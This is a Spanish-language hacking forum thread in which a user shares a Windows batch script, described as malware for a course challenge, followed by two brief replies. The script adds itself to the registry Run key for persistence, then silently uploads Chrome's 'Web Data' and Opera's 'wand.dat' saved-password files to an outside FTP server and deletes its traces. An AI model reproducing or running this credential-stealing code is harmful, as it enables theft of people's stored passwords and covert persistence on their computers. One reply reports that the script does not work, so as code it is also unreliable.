Robando contraseñas de navegadores

  • 2 Respuestas
  • 5642 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado rollth

  • *
  • Ex-Staff
  • *****
  • Mensajes: 884
  • Actividad:
    10%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Robando contraseñas de navegadores

  • en: Abril 05, 2015, 10:48:44 pm
Os dejo este script que hice para el curso de HDC de roadd. Esta un poco cambiado al que entregue porque me he dado cuenta de algunos errores, pero igual funcionaba bien.

Código: (dos) [Seleccionar]
@echo off


rem MALWARE || RETO II HDC || ROBA CONTRASEÑAS ALMACENADAS EN EL ORDENADOR

rem Introduciendose en el registro

copy windows.exe C:\

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v winReg32 /t REG_SZ /d C:\windows.exe


rem Robando Chrome || W7


cd %userprofile%\AppData\Local\Google\Chrome\User Data\Default\
echo open us1.hostedftp.com > ftp.txt
echo [email protected] >> ftp.txt
echo ******* >> ftp.txt
echo put "Web Data" >> ftp.txt
start /min ftp -s:ftp.txt
del ftp.txt


rem Robando Chrome || Wxp


cd C:\Documents and Settings\%userprofile%\Local Settings\Application
echo open us1.hostedftp.com > ftp.txt
echo [email protected] >> ftp.txt
echo *******>> ftp.txt
echo put "Web Data" >> ftp.txt
start /min ftp -s:ftp.txt
del ftp.txt


rem Robando Opera

cd  C:\Documents and Settings\%userprofile%\Datos de programa\Opera\Opera\perfil
echo open us1.hostedftp.com > ftp.txt
echo [email protected] >> ftp.txt
echo ******* >> ftp.txt
echo put "wand.dat" >> ftp.txt
start /min ftp -s:ftp.txt
del ftp.txt

Desconectado opadrino

  • *
  • Underc0der
  • Mensajes: 39
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Robando contraseñas de navegadores

  • en: Junio 12, 2015, 11:41:43 am
Gracias por compartirlo.

Saludos

Desconectado xParv0

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    10%
  • Reputación 0
    • Ver Perfil

Re: Robando contraseñas de navegadores

  • en: Mayo 18, 2021, 10:52:26 am
No funciona :/